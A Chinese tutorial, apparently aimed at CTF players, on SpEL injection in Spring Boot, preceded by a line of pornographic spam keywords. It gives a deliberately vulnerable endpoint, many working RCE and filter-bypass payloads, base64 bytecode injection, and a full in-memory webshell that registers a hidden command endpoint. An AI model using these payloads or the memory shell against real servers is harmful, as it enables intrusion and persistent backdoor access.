最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java?SpEL表達(dá)式注入入門學(xué)習(xí)示例教程

 更新時(shí)間:2025年12月12日 08:54:35   作者:acclo  
SpEL是Spring框架特有的表達(dá)式語(yǔ)言,SpEL注入是Java Web題最常見的考點(diǎn)之一,因?yàn)樗壿嬊逦?利用方式很像 PHP 的 eval,本文給大家介紹Java?SpEL表達(dá)式注入入門學(xué)習(xí)示例教程,感興趣的朋友跟隨小編一起看看吧

SpEL簡(jiǎn)介

SpEL是Spring 框架特有的表達(dá)式語(yǔ)言。如果輸入的字符串被 expression.getValue() 執(zhí)行了,就能 RCE。SpEL (Spring Expression Language) 注入是 Java Web 題最常見的考點(diǎn)之一,因?yàn)樗壿嬊逦?,利用方式很?PHP 的 eval

確認(rèn)Spring Boot框架

一、看pom.xml

打開項(xiàng)目根目錄的pom.xml,如果看到標(biāo)簽里面寫著spring-boot-starter-parent,或者里面有一堆spring-boot-starter-web之類的包,基本能確定是Spring Boot框架。

二、看入口類

找到src/main/java下帶有main函數(shù)的文件。類頭一定帶有@SpringBootApplication注解,main方法里只有一行:

SpringApplication.run(類名.class, args);

三、終端輸出

如果把題目源碼在本地運(yùn)行,可以看到控制臺(tái)輸出巨大的ASCII字符畫Spring。

前置知識(shí)

首先我們要明確java中的類、對(duì)象、方法

一、類(圖紙)

在代碼中看到j(luò)ava.lang.Runtime這種長(zhǎng)長(zhǎng)的名字,它就是類(圖紙)。圖紙本身不能干活,它只是規(guī)定了東西長(zhǎng)什么樣。類可以主要分為幾個(gè)大類:

1.普通類

這種類的代碼里寫好的所有的功能,可以直接干活。特點(diǎn):可以直接new,所有的方法都有具體的代碼實(shí)現(xiàn)。

2.靜態(tài)工具類

這種類的構(gòu)造方法通常是私有的,因此不能直接new,而里面的方法全部都是靜態(tài)方法static,可以直接通過類名.方法名()調(diào)用。

3.抽象類

這種類只規(guī)定了大體方向,具體細(xì)節(jié)不全,因此也不能new。它存在的意義就是為了讓別人繼承它,由子類去補(bǔ)全代碼。

4.接口

Java8之前,這種類里面全部都是空方法,只定義”要干什么“,不定義”怎么干“。

類不是”繼承“接口,而是”簽署(實(shí)現(xiàn))“接口(implements)。

二、對(duì)象(實(shí)物)

我們需要用圖紙?jiān)斐鲆粋€(gè)真實(shí)的物體。在Java里,根據(jù)圖紙?jiān)鞏|西就是類的實(shí)例化過程,比如new Scanner(…)就是“造一個(gè)新的掃描器”。

三、方法(動(dòng)作)

大部分情況下,我們最終需要調(diào)用的就是方法。普通方法需要從對(duì)象中調(diào)用,而靜態(tài)方法可以直接從類中調(diào)用,這種類需要用T()來(lái)進(jìn)行包裹。

就拿getRuntime()方法為例,從源碼中可以看到這個(gè)方法是一種靜態(tài)方法static,所以要從它的類java.lang.Runtime中調(diào)用,這個(gè)類要用T()包裹,所以調(diào)用方式是

T(java.lang.Runtime).getRuntime()

這里注意,這個(gè)用T包裹的語(yǔ)法屬于SpEL語(yǔ)法,不是Java原生語(yǔ)法。

在原生Java中,我們只需要寫java.lang.Runtime.getRuntime()即可。

因?yàn)樵贘ava編譯器中,它是上帝視角,在編譯期就讀了所有的JDK庫(kù)。但是在SpEL解析器中,如果我們想表達(dá)這是一個(gè)Java類,就必須用T括起來(lái)。(T代表Type,類)。

對(duì)比php反序列化也是一樣的道理,在某些類中會(huì)有一些魔術(shù)方法或者自定義的方法,滿足某些條件時(shí)會(huì)觸發(fā)特定的魔術(shù)方法,這些魔術(shù)方法的觸發(fā)可能又會(huì)調(diào)用其他的方法,這也就是pop鏈的原理。

方法調(diào)用結(jié)束后,會(huì)返回特定類型的對(duì)象,比如getRuntime返回Runtime類型的對(duì)象,exec返回Process類型的對(duì)象。

模擬漏洞環(huán)境

我們起一個(gè)web服務(wù)來(lái)模擬spel注入。一下兩個(gè)文件都放在com.ctf.web包中。

CTFApplication.java

package com.ctf.web;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
// 這個(gè)注解告訴 Java:這是一個(gè) Spring Boot Web 應(yīng)用
@SpringBootApplication
public class CTFApplication {
    public static void main(String[] args) {
        // 一行代碼啟動(dòng)整個(gè) Web 服務(wù) (自帶 Tomcat)
        SpringApplication.run(CTFApplication.class, args);
    }
}

HelloController.java

package com.ctf.web;
// 1. Web 相關(guān)的包 (負(fù)責(zé)路由和參數(shù))
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
// 2. SpEL 相關(guān)的包 (負(fù)責(zé)漏洞演示)
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
@RestController
public class HelloController {
    /**
     * SpEL 注入漏洞靶場(chǎng)
     * 訪問方式:/spel?cmd=1+1
     */
    @GetMapping("/spel")
    public String spelVuln(@RequestParam String cmd) {
        // 1. 創(chuàng)建解析器 (相當(dāng)于準(zhǔn)備 PHP 的 eval 環(huán)境)
        ExpressionParser parser = new SpelExpressionParser();
        try {
            // 2. 解析用戶輸入的字符串 (cmd)
            // 這一步只是把字符串變成一個(gè)“表達(dá)式對(duì)象”,還沒執(zhí)行
            Expression exp = parser.parseExpression(cmd);
            // 3. 執(zhí)行表達(dá)式并獲取結(jié)果 (Sink 點(diǎn))
            // 這一步才會(huì)真正執(zhí)行代碼!
            Object value = exp.getValue();
            // 防止結(jié)果為空導(dǎo)致報(bào)錯(cuò)
            if (value == null) {
                return "執(zhí)行成功,但沒有返回值";
            }
            return "SpEL 執(zhí)行結(jié)果: " + value.toString();
        } catch (Exception e) {
            e.printStackTrace(); // 在控制臺(tái)打印詳細(xì)錯(cuò)誤,方便調(diào)試
            return "執(zhí)行出錯(cuò): " + e.getMessage();
        }
    }
}

/spel?cmd=10*10即可執(zhí)行語(yǔ)句。

找到漏洞點(diǎn)

SpEL注入的原理很簡(jiǎn)單:用戶輸入的字符串被當(dāng)成了代碼去執(zhí)行。

在php中,我們要找的是eval($input);而在java中,我們要找的是下面這三行代碼的組合(這也是代碼審計(jì)的重點(diǎn)):

1.解析器創(chuàng)建

ExpressionParser parser = new SpelExpressionParser();

2.解析表達(dá)式

Expression exp = parser.parseExpression(用戶輸入);

3.執(zhí)行表達(dá)式

exp.getValue(); //這里是執(zhí)行點(diǎn)

只要看到 SpelExpressionParserparseExpression 且參數(shù)可控,直接判定為 RCE(遠(yuǎn)程代碼執(zhí)行)。

分析漏洞點(diǎn)原理

主要的就是這三行代碼

// 創(chuàng)建解析器
ExpressionParser parser = new SpelExpressionParser();
// 解析字符串
Expression exp = parser.parseExpression(cmd);
// 漏洞爆發(fā)點(diǎn)
Object value = exp.getValue();

初始化引擎

ExpressionParser parser = new SpelExpressionParser();

首先我們要明確,Java本身是聽不懂SpEL語(yǔ)法的,Java只懂Java語(yǔ)法。為了讓Java能夠看懂SpEL語(yǔ)法,需要先創(chuàng)建一個(gè)解析器,SpelExpressionParser就是這個(gè)解析器。如果沒有這個(gè)解析器,我們就沒辦法處理后面的字符串。

編譯/解析

Expression exp = parser.parseExpression(cmd);

它把死的字符串變成了活的對(duì)象。

比如我們傳入?cmd=1+1,對(duì)于計(jì)算機(jī)來(lái)說,這只是普通的文本。而解析器parser拿到這個(gè)文本后,調(diào)用parseExpression方法開始語(yǔ)法分析,檢查是否符合SpEL語(yǔ)法。如果檢查無(wú)誤,則會(huì)生成一個(gè)Expression對(duì)象。此時(shí)代碼沒有被執(zhí)行。

代碼執(zhí)行 | 核心機(jī)制:AST(抽象語(yǔ)法樹)

當(dāng)我們調(diào)用 parser.parseExpression(...) 時(shí),Spring 并沒有立即執(zhí)行代碼,而是把我們輸入的字符串拆解成了一棵 AST(抽象語(yǔ)法樹)。

它被拆成了三個(gè)節(jié)點(diǎn):

  1. 節(jié)點(diǎn) A (TypeReference): T(java.lang.Runtime) —— 負(fù)責(zé)找類。
  2. 節(jié)點(diǎn) B (MethodReference): .getRuntime() —— 負(fù)責(zé)調(diào)靜態(tài)方法。
  3. 節(jié)點(diǎn) C (MethodReference): .exec("calc") —— 負(fù)責(zé)調(diào)普通方法。

getValue() 的工作原理: 當(dāng)你調(diào)用 getValue() 時(shí),它會(huì)觸發(fā)這棵樹的遍歷。它命令節(jié)點(diǎn) A 開始跑,節(jié)點(diǎn) A 跑完把棒子(結(jié)果)傳給節(jié)點(diǎn) B,B 傳給 C。只有跑完全程,才能算出最終的 Value。

底層引擎:Java反射的封裝

之所以節(jié)點(diǎn)可以調(diào)用方法,是因?yàn)間etValue()內(nèi)部封裝了極其強(qiáng)大的Java反射API。這里我們后面再詳細(xì)學(xué)習(xí)Java反射。

模板注入SpEL

SpEL表達(dá)式注入主要分為兩種,前面我們所說的是直接注入,下面我們學(xué)習(xí)模板注入。

漏洞特征

在源碼中看到開啟了模板模式

// 定義模板上下文:識(shí)別 #{...}
ParserContext context = new TemplateParserContext();
// 解析
Expression exp = parser.parseExpression(userInput, context);

這個(gè)時(shí)候,普通的字符串會(huì)被當(dāng)成文本,只有被#{ ... }包裹的內(nèi)容才會(huì)被當(dāng)成代碼執(zhí)行。

#{ T(java.lang.Runtime).getRuntime().exec('calc') }

常見SpEL注入方式

Runtime

T(java.lang.Runtime).getRuntime().exec('calc')
// 回顯
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()

想要執(zhí)行命令,我們就要找到exec方法,這個(gè)方法存在系統(tǒng)管理員getRuntime方法中。只要我們找到getRuntime這個(gè)方法就可以調(diào)用exec方法。而getRuntime方法是一個(gè)靜態(tài)方法,可以直接從Runtime類調(diào)用,根據(jù)前面提到的,我們需要把這個(gè)類包裹在T中,也就是T(java.lang.Runtime).getRuntime()。后面再街上exec就可以執(zhí)行命令了。這也就是我們的第一條payload。

這種方法有一個(gè)弊端,那就是沒有回顯。所以我們需要想辦法讓執(zhí)行結(jié)果回顯到網(wǎng)頁(yè)中。這里就需要用到Scanner, getInputStream和next。

getInputStream()返回的是java.io.InputStream對(duì)象,它里面只是二進(jìn)制數(shù)據(jù),如果直接把對(duì)象返回給網(wǎng)頁(yè),那么網(wǎng)頁(yè)上只會(huì)顯示這個(gè)對(duì)象的編號(hào)。而我們需要的是字符串,所以需要把二進(jìn)制數(shù)據(jù)轉(zhuǎn)為字符串。

java.util.Scanner就可以達(dá)成我們的目的。它可以把二進(jìn)制字節(jié)流轉(zhuǎn)為字符串。

Scanner它是一個(gè)普通類。由于next()不是靜態(tài)方法,所以需要把Scanner類實(shí)例化為對(duì)象再調(diào)用next方法。

那么為什么要把T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()這么一長(zhǎng)串包裹在Scanner的括號(hào)中呢?

我們可以看源碼中Scanner類的定義

// JDK 源碼定義
public class Scanner {
    // 構(gòu)造函數(shù):接收一個(gè) InputStream 類型的參數(shù)
    public Scanner(InputStream source) {
        // ... 初始化代碼 ...
    }
}

java期望收到一個(gè)InputStream類型的參數(shù),而T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()最終返回的對(duì)象類型屬于java.io.InputStream,把這一長(zhǎng)串放在括號(hào)中,本質(zhì)上就是把表達(dá)式的計(jì)算結(jié)果作為參數(shù)傳遞。

ProcessBuilder

如果Runtime關(guān)鍵字被ban了,這時(shí)我們要用ProcessBuilder。

new java.lang.ProcessBuilder("calc").start()
new java.util.Scanner(new java.lang.ProcessBuilder("whoami").start().getInputStream()).next()

ScriptEngine

這是Java8環(huán)境下的神器,它允許我們?cè)贘ava中直接寫JavaScript代碼。

它可以繞過對(duì)Java類名的過濾,而且JS寫邏輯更方便。

由于eval的參數(shù)是一個(gè)字符串,所以我們可以對(duì)eval的參數(shù)進(jìn)行拼接、編碼、變形

正常payload

// 1. 獲取 JS 引擎
// 2. 執(zhí)行 JS 代碼:在 JS 里調(diào)用 Java
// 這里利用的是SpEL原生流
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")
// 或者利用Java反射流
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")

拼接

// SpEL 會(huì)先執(zhí)行括號(hào)里的字符串拼接,拼好后再傳給 eval
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Run" + "time" + ".getRuntime().exec('calc')")
new javax.script.ScriptEngineManager().getEngineByName("js").eval('java.lang.Run'.concat('time').concat('.getRuntime().exec("calc")'))

編碼

// 把 "Runtime" 換成 "Run" + char(116) + "ime" (116 是 't' 的 ASCII 碼)
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Run" + T(java.lang.Character).toString(116) + "ime.getRuntime().exec('calc')")
// base64編碼
new javax.script.ScriptEngineManager()
   .getEngineByName("js")
   .eval(new java.lang.String(T(java.util.Base64).getDecoder().decode("dmFyIHMgPSBbM107IHNbMF09J2NtZCc7IHNbMV09Jy9jJzsgc1syXT0nY2FsYyc7IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHMpOw==")))

文件讀取

服務(wù)器不出網(wǎng)或者某些命令被禁了,只想讀flag,可以使用java.nio.file.Files

// 1. 讀取所有字節(jié)
// 2. 轉(zhuǎn)成 String 顯示
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('E:/1_msg1.txt')))

Java反射構(gòu)造RCE

這里建議大家先學(xué)兩天Java反射,再回來(lái)看會(huì)更加透徹。

我們首先看目標(biāo)代碼,轉(zhuǎn)成Java反射代碼,再轉(zhuǎn)成SpEL代碼。

目標(biāo)代碼

Runtime.getRuntime().exec("calc");

Java反射代碼

Class clazz = Class.forName("java.lang.Runtime");
Method m = clazz.getMethod("getRuntime");
Object o = m.invoke(null);
clazz.getMethod("exec".String.class).invoke(o, "calc.exe");

SpEL代碼

// 對(duì)應(yīng)步驟 1: 獲取類
T(java.lang.Class).forName('java.lang.Runtime')
// 對(duì)應(yīng)步驟 2: 獲取方法
.getMethod('getRuntime')
// 對(duì)應(yīng)步驟 3: 執(zhí)行靜態(tài)方法拿到對(duì)象
.invoke(null)
// 對(duì)應(yīng)步驟 4: 拿到對(duì)象后直接執(zhí)行 exec
.exec('calc')

引號(hào)中的內(nèi)容動(dòng)態(tài)可控,我們可以通過拼接、編碼等,繞過可能的過濾。

// 步驟 1: 拿到類 (隱藏了 Runtime)
T(java.lang.Class).forName('java.lang.Run' + 'time')
// 步驟 2: 拿到 getRuntime 方法
.getMethod('getRun'+'time')
// 步驟 3: 拿到 Runtime 對(duì)象
.invoke(null)
// 步驟 4: 【這里暴露了!】直接調(diào)用 exec
.exec('calc')

回顯方式

Scanner

在上面的payload中我們提到了一種能夠在網(wǎng)頁(yè)上面回顯內(nèi)容的方式,通過Scanner掃描器

new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()

通過Scanner我們把命令執(zhí)行結(jié)果轉(zhuǎn)換成了一個(gè)String字符串,SpEL引擎把這個(gè)字符串返回給了我們的Java代碼。但是注意,這里我們的源碼中是這樣寫的

    public String spelVuln(@RequestParam String cmd) {
			// ...
            return "SpEL 執(zhí)行結(jié)果: " + value.toString();
        	// ...
    }

這個(gè)方法返回的值是String類型,所以通過Scanner轉(zhuǎn)為字符串后,可以將執(zhí)行結(jié)果結(jié)果返回到網(wǎng)頁(yè)上。

而如果開發(fā)者寫的代碼是

public void vuln() { ... } // 沒有返回值

或者它的return是這樣寫的

return "執(zhí)行成功"; // 沒有返回執(zhí)行結(jié)果

那么這樣的后果就是,雖然我們通過Scanner拿到了字符串,但是并沒有途徑把執(zhí)行結(jié)果顯示在網(wǎng)頁(yè)上(源碼中的限制)。

StreamUtils + RequestContextHolder

這種方法可以直接將執(zhí)行結(jié)果寫入http響應(yīng)中。

// windows版本
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('cmd /c whoami').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())
    
// Linux版本
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('/bin/sh -c id').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())

我們可以將這個(gè)payload分成三部分來(lái)看。

第一部分:命令結(jié)果

T(java.lang.Runtime).getRuntime().exec('...').getInputStream()

這一部分通過Runtime調(diào)用exec執(zhí)行系統(tǒng)命令,獲取執(zhí)行結(jié)果,再調(diào)用getInputStream獲取一個(gè)數(shù)據(jù)流。此時(shí)執(zhí)行結(jié)果就在這個(gè)流中,等待被讀取。

第二部分:響應(yīng)通道

T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()

這里是將執(zhí)行結(jié)果寫入http響應(yīng)中的最關(guān)鍵的一步。

  • RequestContextHolder:這是 Spring 提供的“全局大管家”,它持有當(dāng)前正在處理的所有 HTTP 請(qǐng)求信息。
  • currentRequestAttributes():拿到當(dāng)前請(qǐng)求的上下文。
  • getResponse():直接搶到了 HTTP 響應(yīng)對(duì)象 (HttpServletResponse)。
  • getOutputStream():打開了向?yàn)g覽器發(fā)送數(shù)據(jù)的 輸出流 (OutputStream)
  • 狀態(tài): 這就像是你直接在這個(gè)網(wǎng)頁(yè)的背后插了一根管子,準(zhǔn)備往里灌水。

這里換一種寫法也可以用于探測(cè)漏洞是否存在(別忘了T是SpEL專屬語(yǔ)法)

T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("Al1ex","success")

第三部分:數(shù)據(jù)傳輸

T(org.springframework.util.StreamUtils).copy(第一部分, 第二部分)

StreamUtils是Spring框架自帶的一個(gè)工具類,專門處理流。copy(in, out)的作用是把輸入流里的所有字節(jié),原封不動(dòng)的復(fù)制到輸出流里。這樣一來(lái),exec命令的執(zhí)行結(jié)果就通過http響應(yīng)發(fā)送到了網(wǎng)頁(yè)上。

字節(jié)碼注入

https://xz.aliyun.com/news/16342

它的核心邏輯是:我不直接在 SpEL 表達(dá)式里寫命令(如 Runtime.exec),而是把一個(gè)包含惡意代碼的 Java .class 文件(編譯后的字節(jié)碼),通過 Base64 編碼塞進(jìn) Payload 里,然后讓服務(wù)器把這段字節(jié)碼還原成一個(gè)類并加載運(yùn)行。

1.編寫惡意Java類(exp.java)

public class exp {
    // static 靜態(tài)代碼塊:這是核心!
    static {
        try {
            // 只要這個(gè)類被“加載”進(jìn)內(nèi)存,這段代碼就會(huì)自動(dòng)執(zhí)行
            Runtime.getRuntime().exec("cmd.exe /c calc.exe");
        } catch (Exception e) { e.printStackTrace(); }
    }
    // main 方法在這里沒用,因?yàn)槲覀儾粫?huì)去調(diào)用它
    public static void main(String[] args) { }
}

關(guān)鍵點(diǎn): static {} 靜態(tài)代碼塊。

原理: 在 Java 中,當(dāng)一個(gè)類被 ClassLoader(類加載器)初始化/加載時(shí),靜態(tài)代碼塊里的代碼會(huì)被立即自動(dòng)執(zhí)行。攻擊者利用這個(gè)特性,確保只要把類加載進(jìn)去,命令就執(zhí)行了,不需要額外調(diào)用方法。

2.編譯打包

編譯: 攻擊者把 exp.java 編譯成 exp.class(這是二進(jìn)制文件,計(jì)算機(jī)能讀懂,人看不懂)。

javac exp.java

Base64 編碼: 也就是你代碼里的 encode.java 做的事情。

  • 因?yàn)?HTTP Header 只能傳輸文本,不能傳輸二進(jìn)制亂碼。
  • 所以必須把 exp.class 的二進(jìn)制內(nèi)容轉(zhuǎn)換成一長(zhǎng)串 Base64 字符串 (yv66vgAA...)。

encode.java

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
/*
 * 加密class文件
 */
public class encode {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "C:\\Users\\Al1ex\\Desktop\\java-object-searcher-master\\exp.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }
}

3.執(zhí)行

最后我們利用SpEL注入點(diǎn)執(zhí)行,構(gòu)造表達(dá)式

T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'exp', 
    T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQAIgoACAATCgAUABUIABYKABQAFwcAGAoABQAZBwAaBwAbAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAJAAoHABwMAB0AHgEAE2NtZC5leGUgL2MgY2FsYy5leGUMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACEACgEAA2V4cAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAAAQAJAA0ADgABAAsAAAAZAAAAAQAAAAGxAAAAAQAMAAAABgABAAAABwAIAA8ACgABAAsAAABHAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAAA4AAwAAAAQACQAFABEABgAQAAAABwACTAcABQQAAQARAAAAAgAS'), 
    T(org.springframework.util.ClassUtils).getDefaultClassLoader()
)

注意執(zhí)行的時(shí)候必須全部URL編碼,否則報(bào)錯(cuò)

T%28org%2Espringframework%2Ecglib%2Ecore%2EReflectUtils%29%2EdefineClass%28%0A%20%20%20%20%27exp%27%2C%20%0A%20%20%20%20T%28com%2Esun%2Eorg%2Eapache%2Exml%2Einternal%2Esecurity%2Eutils%2EBase64%29%2Edecode%28%27yv66vgAAADQAIgoACAATCgAUABUIABYKABQAFwcAGAoABQAZBwAaBwAbAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAJAAoHABwMAB0AHgEAE2NtZC5leGUgL2MgY2FsYy5leGUMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACEACgEAA2V4cAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAAAQAJAA0ADgABAAsAAAAZAAAAAQAAAAGxAAAAAQAMAAAABgABAAAABwAIAA8ACgABAAsAAABHAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAAA4AAwAAAAQACQAFABEABgAQAAAABwACTAcABQQAAQARAAAAAgAS%27%29%2C%20%0A%20%20%20%20T%28org%2Espringframework%2Eutil%2EClassUtils%29%2EgetDefaultClassLoader%28%29%0A%29

payload分析

1.解碼 (Decode): T(com.sun...Base64).decode('yv66...')

  • SpEL 調(diào)用 JDK 內(nèi)部的 Base64 工具,把那一長(zhǎng)串字符串,還原成了 al1ex.class 的原始二進(jìn)制字節(jié)流(byte array)。

2.定義類 (Define Class): T(org.springframework.cglib.core.ReflectUtils).defineClass(...)

  • ReflectUtils 是 Spring 自帶的一個(gè)工具類(CGLIB 庫(kù))。
  • defineClass 方法的作用是:給它一堆字節(jié),它能在內(nèi)存里把這堆字節(jié)變成一個(gè)活生生的 Java 類對(duì)象。

3.觸發(fā)炸彈:

  • 當(dāng) defineClass 執(zhí)行成功時(shí),al1ex 類就被加載到了服務(wù)器的 JVM 內(nèi)存中。
  • BOOM! 因?yàn)轭惐患虞d了,那個(gè) static { ... } 代碼塊瞬間被觸發(fā)。
  • calc.exe 彈出。

內(nèi)存馬

剛才字節(jié)碼注入是將惡意代碼寫入內(nèi)存,這種手法與內(nèi)存馬非常相像,我們可以仿照這種模式來(lái)寫內(nèi)存馬。

編寫MemShell.java

注意開頭一定不要帶package,然后注意里面的MemShell名字,如果要改的話一定要Java文件名和里面的所有全部都要改。

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
// 改名為 MemShell
public class MemShell {
    static {
        try {
            // 1. 獲取上下文
            ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
            WebApplicationContext context = (WebApplicationContext) attributes.getAttribute(
                    "org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 2. 獲取 RequestMappingHandlerMapping
            RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
            // 3. 獲取 RequestMappingInfo 構(gòu)建器
            Method pathsMethod = RequestMappingInfo.class.getMethod("paths", String[].class);
            pathsMethod.setAccessible(true); // 暴力權(quán)限 1
            Object pathsBuilder = pathsMethod.invoke(null, (Object) new String[]{"/mshell"});
            // 4. 【核心修復(fù)】獲取并應(yīng)用服務(wù)器配置
            try {
                Method getBuilderConfigMethod = RequestMappingHandlerMapping.class.getMethod("getBuilderConfiguration");
                getBuilderConfigMethod.setAccessible(true); // 暴力權(quán)限 2
                Object config = getBuilderConfigMethod.invoke(mapping);
                if (config != null) {
                    Method optionsMethod = pathsBuilder.getClass().getMethod("options", RequestMappingInfo.BuilderConfiguration.class);
                    optionsMethod.setAccessible(true); // <--- ? 之前報(bào)錯(cuò)就是缺這行!暴力權(quán)限 3
                    optionsMethod.invoke(pathsBuilder, config);
                }
            } catch (Exception e) {
                // 忽略舊版本不支持的情況
            }
            // 5. 構(gòu)建 RequestMappingInfo
            Method buildMethod = pathsBuilder.getClass().getMethod("build");
            buildMethod.setAccessible(true); // 暴力權(quán)限 4
            RequestMappingInfo info = (RequestMappingInfo) buildMethod.invoke(pathsBuilder);
            // 6. 實(shí)例化與注冊(cè)
            MemShell instance = new MemShell();
            Method method = MemShell.class.getMethod("cmd", HttpServletRequest.class, HttpServletResponse.class);
            method.setAccessible(true); // 暴力權(quán)限 5
            mapping.registerMapping(info, instance, method);
        } catch (Exception e) {
            e.printStackTrace(); // 如果還報(bào)錯(cuò),請(qǐng)看控制臺(tái)
        }
    }
    public void cmd(HttpServletRequest request, HttpServletResponse response) {
        try {
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
                String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                Process process = Runtime.getRuntime().exec(cmds);
                InputStream in = process.getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            } else {
                response.getWriter().write("MemShell (Final) is active!");
            }
        } catch (Exception e) {
            try { e.printStackTrace(response.getWriter()); } catch (Exception ex) {}
        }
    }
}

編譯

我們?cè)贗DEA上方的構(gòu)建中,選擇重新構(gòu)建項(xiàng)目。由于沒有package包,所以編譯后的class文件要去根目錄中的target中去找。

編碼

把生成的編譯后的class文件base64編碼,去掉所有換行符。編碼后,cyberchef執(zhí)行給所有符號(hào)url編碼。

附編碼腳本

package com.ctf.web;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Encoder;
/*
 * 加密class文件
 */
public class base64EncodeClass {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "MemShell6.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        } catch(Exception e) {
            e.printStackTrace();
            return;
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        // 刪除所有換行符
        value = value.replaceAll("\\r\\n|\\r|\\n", "");
        // 輸出到1.txt文件
        try (FileWriter writer = new FileWriter("1.txt")) {
            writer.write(value);
            System.out.println("Base64編碼已保存到 1.txt 文件中");
        } catch (IOException e) {
            System.err.println("寫入文件時(shí)出錯(cuò): " + e.getMessage());
            e.printStackTrace();
        }
    }
}

注入

把生成的base64編碼后的、去掉換行符的、執(zhí)行了url編碼的payload替換進(jìn)下面的payload執(zhí)行。

